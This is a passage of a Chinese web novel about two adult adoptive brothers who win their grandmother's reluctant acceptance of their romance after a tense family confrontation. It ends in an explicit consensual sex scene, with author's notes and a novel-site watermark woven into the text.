她眼观六路,先看见老太太脸色煞白,继而发现陈宗礼和陈一诺跪在地上,立刻知道是兄弟闯祸了。 脸色大变:“哎哟,这是怎么了?不是高高兴兴去看赛马么?” “这……俩兄弟怎么还跪下了?”转头问吴淑芬,“他们输了很多钱?” “哎哟,你别瞎猜了。”作为长辈吴淑芬也觉得闹心,兰姨皱眉:“那到底是怎么了……” 吴淑芬把她拉到身边,附身在她耳边低声说了几句。知晓事情经过的兰姨脸色大变,难以置信地看向下跪的陈一诺和陈宗礼。 捂着胸口喃喃道:“哎哟,菩萨呀,乖了一辈子,突然弄个大的!” “虽说不是亲兄弟,但也不能……”兰姨察觉屋里还有其他佣人,连忙刹车含混过去,“哎哟,别说老太太年纪大了受不了,我听了都要被你们气死的……” “没眼看,没眼看了,我去泡杯参茶。” 兰姨边叹气,边把整栋老宅的所有佣人全部支使出去,确保现场没外人听墙根,这才放心转身走回厨房,穿起围裙亲自给老太太泡参茶。 厨房里,细碎的水声、急促的剁刀声、兰姨叹气声此起彼伏,而诺大的客厅一片死寂。 半晌,老太太缓缓开口:“你们……什么时候开始的?” 老太太甚至不肯问他们是什么时候开始“谈恋爱”的,理智上,还是接受不了两个男人在一起。 陈宗礼不愿意让陈一诺承担压力,先开口:“一诺这次去A国的时候。” 老太太想起来了,恍然大悟:“我说你怎么突然去A国……”原来追爱去了。 “喜欢同性,什么时候开始的?” 老太太咄咄逼人的质问,让现场气氛异常高压。但陈宗礼从小在老太太身边长大,承压能力最强。 他回答不紧不慢:“其实准确地说,我不是喜欢同性,我只是喜欢一诺,而他恰巧是个男生。” “那么多年,我只喜欢过他一个,送他出国之前我就喜欢了。” 短短几十个字,就把他们的感情大大方方地剖开给所有人看。 “我去!” 庄嘉轩忍不住骂了句脏话。从朋友视角,脑补了不少两人关系的起伏。 本来两兄弟感情不错,结果被贺家陷害,弄得天各一方,两人断绝了所有联系,陈一诺甚至把陈宗礼当仇人。由始至终,陈宗礼都在默默喜欢着陈一诺。 感性的庄嘉轩叹了口气:“这也太虐了吧……” …… 陈老太的脑回路没那么感性,反而把最近发生的所有事情快速梳理了一遍。 问题层层递进,刀刀见血。 “既然早就喜欢,怎么还伙同李思维在我面前演戏?” 陈宗礼沉默片刻,表情严肃:“我喜欢一诺,一直是我的私事。我没打算告诉任何人,甚至不打算告诉一诺。” “早些年,我就知道思维的性/取/向。当时,他们家的情况您也清楚,她不想只当一个贤妻良母,她想出国读书。所以,我才帮她一把,配合她释放一些信号,告诉两家人我们关系暧昧。让李叔把送她出国留学……” “从那时候起,我们才不得已凑在一起。后来,她跟宝瑶的恋情被李叔撞破,我跟一诺才有在一起的契机。” 老太太手撑着脑袋,不置可否地看着自己孙子,缓慢地问道:“如果李思维的事没被撞破,你打算将错就错?” 陈宗礼沉默片刻,说道:“思维有喜欢的人,这段关系维持不下去是早晚的事。” 老太太冷哼一声:“你倒是看得通透,戏那么好,把家里人耍得团团转!” “所以刚刚在门口,你们被抓包,也是演的吧?就因为不想我们再安排相亲……” 知孙莫若老太太。老太太火眼金睛,一眼看出陈宗礼的小算盘打得“啪啪”响。 陈宗礼也没否认:“我跟李思维出发点是互助互利,但确实欺骗了你们,对不起。” “但我跟一诺谈恋爱是早晚会告诉您的,今天相亲把这件事提前了,我才想到用这么卑劣的方式让您看见。” “我实在不想再骗您,也不想让一诺难受。” 陈宗礼几句话,护短护到极致,把所有错都揽到自己身上,只想传递一个态度:“错都在我,别怪一诺”。 聊到这里,老太太大概摸清陈宗礼的想法,一时沉默没继续往下接。 二婶在一旁听了半天,总算找到空隙说话,她直肠子道:“宗礼,你们是不是昏头了,两个男的怎么能一起呢?” 这件事,虽然陈宗瑜也很吃惊,但她总是下意识支持两位哥哥。 “妈,都什么年代了,思维姐跟宝瑶姐也是两个女生在一起呀,怎么就不是爱情。” 二婶摆摆手:“他们是兄弟啊!会不会混淆了亲情和爱情呢?!再说,发生在人家身上的事,和发生在自家人身上,能一样吗?!” 陈宗瑜哑然。 确实,再离谱的事,发生在别人家,也就只是茶余饭后的八卦。发生在陈家,那可真是太震撼了。已经可以想到,以后被狗仔知道,会被骂得多难听。 “惊!陈太子乱/伦豪门弃犬,基情惹怒陈老太!” “豪门丑闻,陈老太引狼入室,养孙掰弯嫡孙……” 这些词,光是想象,大家都接受不了。 明知后果,但陈宗礼还是把这件事捅破了。 从捅破那一刻开始,作为男朋友,陈一诺就要陪他撑到底。他自己说的,陈宗礼跟他在谈恋爱,所以他们是一体的,他们得并肩作战。 兴许是有了爱人的支撑,在面对家人的时候,陈一诺并不怯懦。 他解释:“二婶,虽然以前我没谈过恋爱,也不懂表达怎么才算爱情。但我很确定,我对陈宗礼的情感,跟对你,对宗瑜的感情都不同。” “说得直白些,我没有跟你们任何人有接吻的想法。但我想亲陈宗礼。” 直白得太直白,老太太直接扶额,二婶哀鸿了好几声:“哎哟!哎哟!我的老天呀!” 跪着的陈宗礼上斜眼深深看他一眼,目光慢慢往下移……陈一诺顺着往下看,发现陈宗礼用手指,悄悄地比了个心。 没想到,陈宗礼居然会比心……陈一诺立刻低下头,死死咬住牙关,压下嘴角,他实在不能在这种场合笑出来。 小情侣的调情,没人察觉。但二婶的崩溃,所有人都看见了。 她七情上脸,用陈词滥调劝他们:“宗礼啊!一诺啊!” “你们条件那么好,世界上人那么多,就不能换一个人喜欢吗?非得一棵树上吊死啊?” 陈宗礼反问:“二婶,那你觉得,我该找怎样的伴侣呢?” 明眼人都看出来,陈宗礼在给二婶挖坑,老太太本想阻止。无奈二婶反应太快,已经说出去了。 “你这样的,当然得找港城最好的伴侣啊!” “要门当户对,长相、家境、能力各方面都相配,生意上守望相助,生活上有话可聊……” 老太太摇摇头,跟吴淑芬道:“哎,给你挖了那么大的坑,你就生生往里跳啊!” 吴淑芬莫名看着老太太,不明所以:“啊?妈,我说错了吗?” 说出口的话,如泼出去的水,已经落地,没法收回。 陈宗礼肯定道:“二婶当然没说错。” “按照你说的条件,我跟一诺,就非常门当户对啊!” “你看,从小一起在陈家长大。现在也都是上市集团总裁,他还是白手起家,整个港城找不到第二个能力比他还强的了。” “生意上,我们有共同合作的项目,生活里,也有聊不完的话题。” “至于长相……喜欢他的男男女女估计比喜欢我的还多。否则你也不会一直想让他当女婿了。” “其实,有时候看着他,我觉得自己才是高攀。” “这样的陈一诺,还不足以当我伴侣吗?” 第100章 陈宗礼的一番话,把陈一诺夸得满脸通红。 要不是现场气氛不对,长辈们怒气正盛,陈宗礼那些话,说不到一半,就得让他咽回去。 与此同时,吴淑芬也终于意识到,陈宗礼给她挖了个什么坑! 整个陈家,要说谁最明目张胆喜欢陈一诺,她敢认第二,没人敢认第一。否则,她也不可能张嘴闭嘴陈一诺多好,把他当女婿看待。 但她怎么也想不到,平日里,脸上没有丁点人情味的陈宗礼,会鸡贼地借她的嘴说出一套世俗的择偶条件,然后精准地套到陈一诺身上。 甚至,还把她对陈一诺的认可,作为背书,恨不得告诉全世界“人人都爱陈一诺”。 最后,顺便秀了个恩爱。 一箭三雕!这个心机叵测的陈宗礼! 被摆了一道的吴淑芬,咬牙切齿,绞尽脑汁想着反击,忽然,灵光乍现。 她抛出一个终极问题:“但他是男的呀!” “我当然知道一诺的好!但他是男的呀!你们要是在一起,岂不是眼睁睁看着陈家五代人的香火断在你手里吗?” “百年以后,我跟老太太怎么面对陈家的列祖列宗?” 陈家的传承,是陈宗礼生下来就背负的重担。也是这份关系中无解的死穴,吴淑芬将的这一军,是他无法反驳的。 旁边的陈一诺抿着嘴,他更没有立场反驳,只能低着头沉默。 客厅里的气氛,瞬间又降至冰点。 …… “妈,我也是陈家的香火啊。” 陈宗瑜的一句话,打破了现场的沉默。整个屋子里,只有她,有立场说出这句话。 两兄弟看向站在一旁的陈宗瑜,有种“养妹千日,用妹一时”的感激。 吴淑芬没想到,女儿会替哥哥们解围,有李家纯的结局在前,她不可能把重男轻女,套在自己女儿身上。只能为难道:“你当然是。但一码归一码……” “一码归一码是哪一码?!”陈宗瑜甘心替哥哥们扛雷,用词尖锐。 “既然我跟陈宗礼都留着陈家的血,就都是陈家香火。他要不了小孩,我结婚生小孩不就好了?” 庄嘉轩被陈宗瑜肘了一下,也立刻表态:“对对对,阿姨,老太太。” “那个……虽然啊,外面常说陈宗礼是陈家嫡孙,是陈太子,但宗瑜也是陈家长女,是长公主。你们一样疼,一样都是心头肉,对不对?” “所以,陈家的传承,除了宗礼,还有宗瑜呀!大不了,我们以后多生几个。” 前面说得挺有条理,最后一句,多少有些不合时宜…… 吴淑芬心里有气没处撒,瞪着庄嘉轩警告道:“你把我女儿当什么了?!生一个孩子就够伤身的,你还想多生几个?!” 庄嘉轩左右为难,不说话,被女友肘击,说话,又被丈母娘怒视,感慨:男人真的好难! 他低声补充:“反正生不生,生几个,都听宗瑜的,我没意见。我想说什么呢……哦,总之,延续陈家的香火,不止宗礼。” “老太太,作为宗礼的朋友,我还想说几句。” 老太太早听出来他们是一伙的,冷着脸,没说话,也没阻止。 “从小到大,您对他的期望,陈家的责任,天峻的生意,他都尽量做到最好,让您满意。” “但从没为自己做过一件事。” “他的人生那么漫长,如果连陪在身边的,他都不喜欢,那多寂寞啊?您说呢?” 话说到这里,庄嘉轩慢慢闭嘴,他瞥见跪着的两兄弟,悄悄朝他比了个大拇指。 他回他们一个眨眼,仿佛在说:兄弟只能帮到这儿了! …… 香火的危机,算是被陈宗瑜和庄嘉轩一唱一和化解了。但老太太的脸色依然阴沉,不知道在想什么。 二婶的目光,在庄嘉轩和陈宗瑜身上来回扫视,忽然间恍然大悟:“难怪!” “难怪,每次我让一诺当女婿,宗礼都一副不太开心的样子!看来,那时候,你就已经……” 陈宗礼没否认,淡淡地说狠话:“是的,二婶,我希望这个话题,在陈家能彻底消失。” 陈一诺也补充道:“其实,每次你提这件事,别说哥不开心,我也不开心。” “一方面,我已经有喜欢的人;另一方面,我对宗瑜真的一点非分之想都没有,从小到大,只把她当亲妹妹处。这个玩笑,确实不合适……” 安静半天的老太太,像是逮到机会,忽然“哼”了声。 “既然,你能把宗瑜当妹妹,那怎么不能把宗礼只当哥哥呢?” 一句话,怼得陈一诺瞬间哑了。 老太太也察觉问题太尖锐,脸色缓了缓,再问他:“一诺,老实告诉奶奶,你能不能退一步,也只把宗礼当哥哥呢?” 老太太不出招则已,一出招,立刻让人手足无措。 这句话,相当于问陈一诺:能不能离开陈宗礼,回到“兄弟”的位置呢? “你从小颠沛流离,好不容易有个家,有了家人。特别是宗礼,他带你学习,教你经营……过程中,你可能对他产生一些……那个词叫什么,哦,雏鸟情结。” “在你眼里,他不知不觉成为最特别的那个。你也把这份“特别”误以为是爱情。你听奶奶说,哪怕回到原来的位置,我们依然是一家人,你们依然是兄弟。” 老太太话锋一转,猝不及防看向陈宗礼:“宗礼,你也坦白说说,假设一诺跟你不是情侣,你依然会把他当家人,把他当弟弟,对不对?!” 陈宗礼无法否认,只能咬牙说:“对!” 老太太一记温柔刀,直捅两兄弟最柔软的地方。 “哪怕你不喜欢我,依然是我弟,这一点,永远不会变。” 这句,是陈宗礼表白的时候,对陈一诺说的原话。 老太太没有亲眼所见,却完全猜对了。 她知道陈宗礼骨子里的体面,更知道陈一诺骨子里被遗弃的恐惧。 所以,老太太让陈宗礼当着家人的面表态:哪怕他们不是情侣,依然是兄弟。 他表态了,那么整个陈家都认这件事,无论如何,陈一诺都是陈家人! 老太太想知道,在不考虑被遗弃的前提下,陈一诺是否还会坚持选择陈宗礼。 她追问:“在这个前提下,一诺,你能不能退一步,还把宗礼当哥哥呢?” 整个客厅都是安静的,唯独古董钟,调皮地“duangduang——”连续敲了七下,每一下都撞到陈宗礼忐忑的心跳上。 他攥紧手心,屏住呼吸,像等待被判决的囚徒。 旁边的陈一诺抿紧嘴,艰难开口:“奶奶,其他事我都能答应,唯独这个不行,对不起。” …… 陈一诺低着头,同时,眼泪一滴滴落到地毯上,声音颤抖地解释。 “奶奶,当初,是您把我带到家里的,您让我有了家,我一直对您非常感激。自从我们在一起,我最害怕伤了您的心。” “如果是以前,哥要跟别人结婚,我不但妥协,还要给他们送一份大礼。” “可今天相亲的时候,我再想他跟别人结婚,脑袋里只有一个念头——我要后悔死了!” “奶奶,被遗弃不是我的错。如果为了不被遗弃,勉强自己放弃重要的人,重要的事,我觉得本末倒置。” “陈宗礼就是那个重要的人。” 陈老太自上而下打量着陈一诺,把他领养回陈宅,仿佛就在昨天。眨眼间,那个假装透明人,看人眼色的小孩,已经长大成人,知道给自己争取点什么了。 与此同时,陈宗礼也在看着陈一诺。没人比他更震撼。 那只对“遗弃”有应激的小卷毛,他手持球棒,击碎了自己的心魔。不再因为担心被遗弃终日惶恐。而是握紧生命中最重要的人。那陈宗礼更不会放开他。 他跪到陈一诺身边,用有力的大手牵起他的,对陈老太说:“奶奶,无论前面的路多难走,我们都会一起走,一起面对。希望你,能让我们在一起。” 陈宗礼说得诚恳,老太太却耐心耗尽,怒从心起,指着他一通骂。 “你们谈恋爱,光你们面对就完了?!” “你们要想想自己的身份!你俩谈恋爱,我,我们陈家,陈家五代祖宗,都要陪着你们一起面对!!” “我苦心教你们那么多年,到头来,心眼全使在我身上!” 陈宗礼的“自爆”,在老太太看来充满功利心,是一步险棋。 他太明白,这段感情,最终不只是他们两个人的事,而是整个陈家的事。这段关系可以不被世俗认可,唯独不能不被家里人认可。 只要他们足够坚定,足够真诚,足够爱。老太太看着两个引以为傲的孙子份上,以及陈家的利益上,早晚会站到他们这边来。 道理是这个道理,事情兴许也是这个走向,但被糊弄的老太太依然怒不可遏。 老太太喘着粗气,两个孙子继续跪着。大家都不敢说话,气氛再次陷入胶着。 …… 这时,兰姨泡好参茶从厨房出来。她多年陪伴在老太太身边,最懂老太太。 她没把参茶直接给老太太,而是塞到陈宗礼手里。临了,还给陈一诺怀里塞了一盆奶黄小酥。下巴朝老太太的方向,抬了抬。 两个“人精”一眼看出她的暗示。 他们感激地双手接过东西,凑到老太太身边,看着像一对敬茶的新人。 陈宗礼小心翼翼道:“奶奶,别气坏身体,都是我们的错,您喝参茶。” 老太太眯着上斜眼打量他们俩,所有人提着一颗心,看老太太到底愿不愿意接这杯茶。 双方僵持了一会儿。 最终,老太太叹了口气,妥协接过参茶,慢慢喝一口,脸色恢复些血色。 所有人悬着的心,才放下一点点。 看老太太喝完参茶,陈一诺识趣递上奶黄小酥:“奶奶,吃点小酥。” 最近,老太太戒糖戒得正难受,今天又生了半天气,消耗巨大。此时,看见奶黄小酥,心里骂他们趁人之危,手又不自觉拿起小酥往嘴里塞。 老太太看似慢条斯理地吃,心里对面前“两个孙子”咬牙切齿。 从陈一诺脸上,她读到:死心塌地,至死不渝。 旁边的陈宗礼,脸上没什么表情,他的欲望从小就藏得深,认定的事更是开弓没有回头箭。比陈一诺更顽固,劝是劝不动的。 冷翠英活了那么多年,再乱七八糟的事都见过。 小孩的恋情,她深知强行拆散是最下策。越是棒打鸳鸯,鸳鸯们越叛逆。 眼前,陈宗礼一个从不叛逆的,突然叛逆,就是自爆出柜。 要是再叛逆,可真不敢想能多疯…… 倒是顺其自然,让他们放宽心去谈,结局无非两个:要么恩爱到白头,要么老死不相往来。 老太太吃完小酥,摆正自己的位置,心事想通,气也消散。 她叹了口气,正式宣布:“行吧,你们的事,我不管了!” “但这件事,只能家里人知道,外人不能知道,更不能影响集团。” “!!!!!” 当事人同时呆住了,本以为老太太这边是持久战,完全没想到她居然松了口。 怕听错,陈一诺还要确认:“奶奶,你的意思是……同意我们在一起了?” 旁边的兰姨怪他笨,帮腔:“哎哟。平常最聪明的两个人,听不懂话了?同意了!老太太同意了!” 陈宗礼的孤注一掷,居然真的让老太太妥协。没有表情的脸上,如释重负地笑了起来。 他激动地捧着老太太的左脸“Mua”了好一口。 陈一诺见状,有样学样,凑到老太太的右脸,也“Mua”了一口。 两人一左一右,围着老太太,“Mua,Mua”声此起彼伏。 老太太被两个孙子夹在中间,表情狰狞,快要喘不过气来,骂道:“行了行了!两个王八蛋!” 看着两个帅哥的“Mua”攻势,一旁陈宗瑜忍着笑,跟庄嘉轩把他们从老太太身上拉开。 嚷道:“你们两个够了啊,禁止虐待老人!”—— 作者有话说:100章了,小情侣又过一关,谢谢大家一路追文和支持~muamua~魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 100-110 第101章 陈家老宅,老太太卧室内。 兰姨在香案旁点燃一撮安眠香,放入精致的小香炉,几缕白烟从香炉的缝隙涌出,裹挟香气扩散到房间大大小小的角落。 “这是什么?”老太太裹着浴袍从浴室出来,弯腰看茶几上那杯深褐色的凉茶,光看着就觉得苦。 兰姨收好点火器,捡起搭在沙发上的毛巾:“安神茶,降火清心的。你不是睡不着吗?” “咚——”古董钟响了一下,凌晨一点。换平时,老太太梦都做两回了。 焦虑到失眠的老太太坐在沙发上,盯着苦茶抱怨:“本来已经苦不堪言了,怎么还要喝苦茶啊。” 兰姨跟在老太太身边那么多年,对她脾气多少了解。 她安慰道:“不止你睡不着,二少奶也睡不着,我还送一杯到她房间。知道你怕苦,这杯特意放了代糖。” 老太太这才肯端起茶杯,小抿一口,确定味道适中,又勉为其难多喝几口。 “她是得多喝两杯。洗澡的时候,我还在想,要不是她总撮合宗瑜和一诺,我估计那两对反而没那么快谈成。” 以前,吴淑芬说让一诺当女婿,她都当作开玩笑。谁知道,两个人的玩笑,四个人当了真。以至于到最后,嫉妒无法克制,只能把爱意诉诸于口。 兰姨安慰道:“哎,缘分到了,她说不说,小孩们该在一起的,还是会在一起。” 缘分的奥妙,老太太自然明了,她喝完安神茶,说道:“其实,宗瑜和嘉轩倒是合适。这个我没意见。” “如果一诺是女生,我也觉得皆大欢喜。外界都知道他是领养的,也不会有什么反对的声音。可偏偏是个男的……” 兰姨诧异:“既然你心里在意,刚刚怎么就答应得那么爽快?现在好了,回来自己闹心睡不着。” 老太太剜她一眼:“你还装。冷金兰,你偏心偏到太平洋。” “嘴上骂得最恨,背地里又是清场赶佣人,又是泡参茶,还准备奶黄小酥。我吃人的嘴软,还能怎么办?” 老太太气得直接喊她全名。兰姨连忙到她身后捏肩赔罪,低声下气:“老太太,您自己的亲孙子,您看得比谁都清楚。宗礼对一诺的感情,就不是哥哥对弟弟的感情。” 老太太长长叹了一口气,虽然恋情是今天撞破的,但只要仔细想想,并非无迹可寻。 兰姨道:“您记得吗?当年,宗礼送一诺出国回来,先是高烧不退好几天。病刚好,立刻回公司上班,一周七天没回家,后来直接住在涛声阁。” “再后来,去岚风山飙车的时候,撞车进医院。当时,我以为是一诺出国,他俩吵架所以闷闷不乐。但宗瑜出国念书的时候,他反应也没那么大呀。现在想想,他那时候难受,就是因为喜欢。” “有时候,他跟思维小姐装情侣,我也觉得奇怪,情侣怎么总是客客气气,聚少离多。想着宗礼性格比较冷淡,所以这样相处。直到,我发现他看一诺的眼神,完全不一样。” 老太太也在回忆,说道:“确实。他们中了羽南港的标,宗礼把一诺带回老宅,他脸上的表情有多开心,他自己可能都察觉不到。” 兰姨:“还有一回,我看新闻报道,记者采访宗礼和一诺,好像在聊羽南港的进度。” “一诺接受采访的时候,宗礼看他的眼神,真是前所未有的温柔。当时,我还觉得这眼神很熟悉。现在想想啊,以前老爷看你的眼神,也是这样的。” 爱人的基因会遗传,面对爱人才会展露的表情,无法隐藏。 老太太听到这里,心中模糊的疑问,瞬间清晰。 她自嘲:“所以我说,陈宗礼这小子跟我耍心眼吧!” “他最清楚,我跟他爷爷结合,不是俗套的那种门当户对的豪门联姻。我们是难得的真心相爱。” “所以,这小子才敢当着我面出柜。他赌我能明白,以他的性格,找一个喜欢的人不容易,也是赌我不会棒打鸳鸯。” 陈老爷子去世早,陈老太独力支撑天峻集团几十年,大家只记得老太太纵横商场的女强人模样。只有贴身照顾她的兰姨记得,老太太年轻的时候,也是个恋爱脑。 四大家族几十年浮浮沉沉,为了利益强强联姻,几乎成了上流社会的共识,连普通老百姓都见惯不怪。陈老太在这方面倒是没那么看重,一段婚姻能带来利益和幸福自然好,二取其一,还是幸福重要。 陈宗礼就是明白这一点,才有了放手一搏的底气。 兰姨安慰道:“说句实话,老太太跟陈宗礼也没少耍心眼。” “约李思维聚餐,让狗仔爆料……不都是你安排,让他们受舆论影响,好早点结婚么!宗礼那么聪明,肯定都清楚的。也随着你了。现在换他给你耍心眼,你就大人有大量算了吧。” “你要是真的拆散他们,赢了脸面,丢了孙子,那才是得不偿失!” “再说,一诺长得好,能力强,多少豪门岳父等着招他当女婿。他俩在一起也是强强联姻,不也挺好。” 这还真是说到老太太心坎上,她难得露出笑容:“那倒也是。” 她膝下的三个孙辈,每回带出去,一个个都替她长脸,逢人都说她好福气,确实没什么好遗憾的。 前院有车灯的闪光从掠过窗帘,兰姨走进窗边往下看,喃喃:“都快两点了,谁还开车出去啊?” 老太太抹着护手霜,叹气:“还能有谁啊?老宅隔音不好,得出去二人世界呗。” “哎哟”,兰姨反应了一下,捂嘴:“老太太,你真够坏的。” …… “陈宗礼,老太太刚放我们一马,我们转头就出去过夜……不太好吧?” 陈宗礼单手握着方向盘,另一只手捏着陈一诺的手,上斜眼里盛着前所未有的愉悦。 他声音有些哑,撩起眼皮看他:“我倒觉得,今晚不出去,才不太好。” 陈宗礼意有所指,让陈一诺耳廓瞬间红了。 他喉头滚动:“你还挺自信。万一老太太不答应呢?” 陈宗礼笑了:“没有万一!老太太就是答应了。” 察觉陈一诺声音里的异样,反问:“怎么,后怕了?” 陈一诺嚷道:“怎么可能不后怕?!” 陈一诺觉得今天的心情起伏太大了,像坐过山车似的。 “刚开始,被老太太安排相亲,心情跌倒谷底。接着,被她们发现恋情时,我心跳都停了……” “我还以为,老太太要一哭二闹三上吊,最后被气进医院。家里人,看着奄奄一息的老太太,轮流逼他们分手……” “如果我们还不答应,就让保镖把你软禁在家里,把我赶出家门,还禁止我们见面。” “再然后,陈宗瑜和庄嘉轩变成信鸽,每天给我们互传消息,甚至还要帮我们私奔。私奔成功后,我们要跟家人断绝来往,在国外过着隐姓埋名的生活。” 陈宗礼听他絮絮叨叨幻想了一轮,笑道:“结果,这些狗血戏码,一件……啊不,半件,都没有发生。” 确实,除了刚开始的几句质问,老太太居然轻飘飘地放过了他们。 唯一的条件,就是不让外人知道他们谈恋爱,以及不影响公司运作。 陈一诺觉得这句说辞非常耳熟。 这跟孩子早恋,家长对孩子说:早恋可以,但不能影响学习。有什么区别? 但事实摆在眼前,他眼中看似无解的“囚徒困境”,被陈宗礼暴力破解了。 看出陈一诺还在后怕里出不来。 陈宗礼捏着他的手,安慰道:“以前我教过你,谈判要借势。这段时间,思维有时候到老宅,跟我请教一些工作上的问题。偶尔会遇见老太太。” “我以为,老人家思想保守,很难接受同性恋情。可我发现,老太太并不抵触。年前,思维还陪老太太参加了一场亚士得的拍卖。宝瑶姐是拍卖师,那一场她拿了白手套,结束后,还一起吃饭庆功。” “有了这件事打底,我才敢搏一搏。所以,你不要怕。老太太那关,我们算是过了!” 陈一诺还是不放心,问道:“那你说,老太太一觉醒来,会不会后悔?” 问这个问题的时候,车缓缓驶入位于市中心的涛声阁——港城CBD最高端的住宅区。 这个楼盘距离天峻集团10分钟车程,酒店式管理,在陈一诺搬回老宅前,算是陈宗礼常住地。 陈宗礼停好车,看向陈一诺,问道:“你记不记得,老太太教过我们,管理者的决策不能朝令夕改?” 陈一诺缓慢地点头。 陈宗礼曲起手指,刮他的鼻尖:“所以她改变主意的概率很低。” “倒是你!”陈宗礼话锋一转,陈一诺茫然看着他:“我?” 陈宗礼黑如潭水的瞳孔里,盛满了压抑已久的谷欠望。 他声音暗哑:“我也想知道,你一觉醒来,会不会后悔?” …… 涛声阁的大平层全港稀缺资源,一梯一户,VIP直梯开门步入玄关,私密性极高。 电梯门缓缓打开,陈宗礼双手把陈一诺轻松抱起,放在玄关的鞋柜上。 室内有暖气,陈宗礼脱下外套,只剩一件T恤,大手揉着陈一诺的腰,把人揉进怀里,脚强势抵在他腿间,让两人无缝隙地吻在一起。 时重时缓的接吻声,呢喃声,混杂在一起,让玄关的声控灯亮起又熄灭。 亮起时,晕黄的暖光从他们头顶倾泻而下,仿佛往他们身上散了一层金粉,勾了一道金边。 陈一诺后背抵在玄关的石墙上,石墙凹凸又冰冷,他哀求道:“哥,我们去房间吧。” 陈宗礼轻笑,往下吻他的喉结,蛊惑道:“去房间,你就彻底逃不掉了。” 陈一诺整个人几乎被陈宗礼禁锢着,他咬着对方的耳朵,耳鬓厮磨:“谁想逃?你看不起谁呢?” 说完双手挂在陈宗礼的脖上,双脚夹紧他的劲腰,知道腰部敏感,还故意用了点力。 陈宗礼被他勾得双眼猩红,双手兜起他的双腿,面对面地把他整个人抱进卧室。 沿途衣服“窸窸窣窣”地掉了一路。把人扔在床上时,陈一诺浑身上下只剩内裤和袜子。陈宗礼却依然人模人样的穿戴整齐。 他侧身拉开抽屉,从里面丢出几个重物扔到床上。陈一诺摸了摸,笑了。 这段时间,除了最后一步,该做的都做过。他也被教育地完全不纯情了。对今晚也有心里准备。所以看见“作案工具”时并不觉得惊讶。 “什么时候准备的?” “表白回来,就备着了。” 陈宗礼伸手用力拽他的脚踝,把整个人拖到自己身下,他一手拽下最后的遮盖,陈一诺脸红得滴血。双手慢慢下移,企图遮挡。 结果被“啪——”地一拍,手被甩开,不让他动作。 陈宗礼的目光直接又赤/luo,一寸寸欣赏陈一诺白皙的皮肤,他只好抬手挡住眼睛,掩饰自己的尴尬,他余光看见身旁的东西,随手抓起一瓶,问陈宗礼道:“你会用吗?” 陈宗礼挑挑眉,反问他:“你会?” 陈一诺吞了口口水,嘴硬道:“当……当然。” 陈宗礼收回手,抱肩垂眸盯着他,冷声命令:“刚好差点前/又戈,一诺老师,演示演示?”—— 作者有话说:[坏笑][坏笑] 第102章 被陈一诺挑衅时,陈宗礼脑海里闪过一个词:延迟满足。 从来“想要,就能得到”的陈太子,发现自己人生中最大“延迟满足”的对象就是陈一诺。 于是,在老太太默许他们关系这天,他心生好奇:他对陈一诺的这份“延迟”,是不是终于能“满足”了? 于是,他大马金刀坐在床尾的长凳上,不紧不慢地看向KingSize大床上手足无措的陈一诺。 并且玩味地提醒:“一诺老师,你随时开始。” 被陈宗礼叫“一诺老师”,已经够让他面红耳赤,还要被他用这样赤/裸/裸的眼神盯着“演示”,更是羞耻度爆表。 看他不动,陈宗礼体贴问道:“怎么,需要助教帮忙?” 陈宗礼把谈判桌上惯用的挑衅伎俩用在陈一诺身上。 被刺激到的陈一诺,抿紧嘴唇:“不用,你好好看着!” 口出狂言是有代价的。 但话音落地,陈一诺索性豁出去。他爬到床头,用枕头垫着后背,双腿摆成/M/挡在身前,成功地收到陈宗礼的一个挑眉。 陈宗礼喜欢亲他的脚踝,更喜欢看他逃走时,握住脚踝的那份绝对的控制感。那是他窥见,陈宗礼为数不多的阴暗。 虽然,陈一诺对陈宗礼夸下海口,但实操时,一眼就能看出生涩。 人体太复杂,他好不容易找准,透明y/t/接触到皮肤时,他抖了抖,有意无意嚷着“好冰……” 房间的温度不断上升,陈一诺不自觉仰起头,脆弱的脖颈后弯,像一只优雅的天鹅。过程中,他宛如一张拉满的弓,全身肌肉线条紧绷着,眉头锁紧,看上去像在忍耐着什么。 刚开始还咬紧牙关,后来难耐的声音传到陈宗礼耳朵里,像一根火柴在他心尖上不停划动。他不自觉地喉头滚动,目光灼灼,仿佛陈一诺在演示如何纵火。 …… 小时候,他去庄嘉轩家里玩。作为他的驰名“损友”,庄嘉轩迫不及待地用小/H/片款待好友。万万没想到,好友把小/H/片当科教片看。 陈宗礼一直跟着奶奶生活,没有父母作为模范,对男欢女爱毫无感觉。小/H/片里的视觉冲击,比不上对人体构造有新了解的震撼。 一般的毛头小子看片多少有些反/y,陈宗礼却没有。 庄嘉轩知道后,大惊失色。猛说他不正常。但庄嘉轩这个“损友”没放弃他,过了没几天,又兢兢业业给他找了另一部的小/H/片,这次是同性恋题材。 这回,庄嘉轩没陪他一起看。只在第二天,追着他要观后体验。 陈宗礼回答得很诚恳,他说唯一的观后体验,就是对人体结构的运用,又多了一点了解。 从那天起,庄嘉轩确诊自己的好朋友陈宗礼,是无法对人类产生生理兴趣的异类,也再不跟他分享小/H/片了。 …… 直到今天,在这场“延迟满足”的实验中,陈宗礼彻底明白,他并非对人类不感兴趣,他是只对特定的人——AKA陈一诺,感兴趣。 他看着自己的“弟弟”,夜里无数次幻想的人,在磕磕绊绊的探索中获得愉悦。 愉悦的谓叹从嘴角溢出,雪白的脚掌把床单踩成漩涡,脚趾不自觉往上翘。余光督见陈宗礼难受的表情时,更加满意。 汗液慢慢润湿了他的卷毛,他的每次呼吸,都像小狗的爪垫,一下又一下,在陈宗礼的心上扒拉,血液上涌,呼吸急促,等回过神来,后背已经出了一层密密的细汗。 结束后,陈一诺仿佛脱力般,满弓似的身体全然放松,瘫软在床上。 这时,耳边传来陈宗礼哑着的声音:“演示完了?” “嗯……” 陈一诺的声音是破碎的,他慢慢喘息着,脸颊通红。整个人餍足地陷入同样雪白的被褥中,手指泛着水光,挡在眼睛上。 他像一块藏在奶油蛋糕里的鲜美水果,让人忍不住想把他从甜腻奶油中挖出来,品尝他的清爽。 被“延迟满足”压抑了半天的陈宗礼,从床上拿来一张毯子,胡乱在他身上擦着。 陈一诺慵懒地睁开眼,拽着毯子辨认:“这不是我的毯子么?你弄脏了……” 他发现陈宗礼手里拿着的安抚毯,跟他那张史努比安抚毯简直一模一样。唯一的区别,这张比较新。 陈宗礼一把甩开毯子,如愿以偿地抓住陈一诺的脚踝,把那块甜软的水果从奶油里剖出,直接拽到自己面前。他毫不犹豫地覆上去,双手控在他肩膀两侧,舌尖伸到他耳朵里舔/弄着。 